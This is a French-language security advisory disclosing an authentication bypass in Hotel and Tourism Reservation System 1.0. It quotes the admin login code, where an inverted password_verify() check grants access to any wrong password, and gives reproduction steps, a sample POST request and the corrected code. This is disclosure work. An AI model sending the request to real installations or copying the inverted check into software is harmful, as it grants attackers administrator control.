
| Champ | Détails |
|---|---|
| Titre | Hotel and Tourism Reservation System - Contournement d'authentification |
| Éditeur | code-projects.org |
| Produit | Hotel and Tourism Reservation System |
| Version | 1.0 |
| Type de vulnérabilité | Authentification incorrecte |
| CWE | CWE-287 |
| Score CVSS | 9.0 (Critique) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Fichier concerné | /admin/login.php |
| Authentification requise | Non |
| Exploitable à distance | Oui |
Une vulnérabilité critique de contournement d'authentification existe dans la fonctionnalité de connexion administrateur de Hotel and Tourism Reservation System 1.0. La vulnérabilité est causée par un contrôle conditionnel inversé sur la valeur de retour de password_verify(), ce qui amène l'application à accorder l'accès lorsqu'un mot de passe incorrect est fourni et à refuser l'accès lorsque le mot de passe correct est fourni. Un attaquant distant non authentifié peut obtenir un accès administratif complet en fournissant une adresse e-mail valide et n'importe quel mot de passe incorrect.
Fichier : admin/login.php — lignes 39 à 46
if(password_verify($password, $user['password'])){
// BUG: password_verify() returns TRUE when password is CORRECT
// but the error message is placed here instead of login logic
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
} else {
// BUG: this block executes when password is WRONG
// but login is granted here instead of showing an error
$userID = $user['id'];
login($userID);
}
password_verify() renvoie true lorsque le mot de passe fourni correspond au hachage. Le développeur a placé la logique de réussite dans la branche else (qui s'exécute lorsque la fonction renvoie false), ce qui signifie que l'authentification est accordée pour tout mot de passe incorrect.
Un attaquant distant non authentifié peut :
Configuration : installez Hotel and Tourism Reservation System 1.0 sur XAMPP. Accédez à l'application à l'adresse http://localhost/ht/.
Étape 1 : accédez à la page de connexion administrateur.
http:///ht/admin/login.php
Étape 2 : saisissez une adresse e-mail administrateur valide avec un mot de passe incorrect quelconque.
E-mail : [email protected] Mot de passe : wrongpassword
Étape 3 : cliquez sur Connexion.
Résultat : l'application contourne l'authentification et redirige vers le tableau de bord administrateur (index.php) — un accès administrateur complet est accordé avec un mot de passe incorrect.
Requête :
POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
email=admin%40admin.com&password=test1234&login=Login
Réponse :
HTTP/1.1 302 Found
Location: index.php
Une redirection 302 vers index.php confirme une authentification réussie avec un mot de passe incorrect.
Échangez les branches conditionnelles afin que la connexion soit accordée lorsque password_verify() renvoie true :
// FIXED
if(password_verify($password, $user['password'])){
$userID = $user['id'];
login($userID);
} else {
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
}
Imad Alvi — Chercheur indépendant en sécurité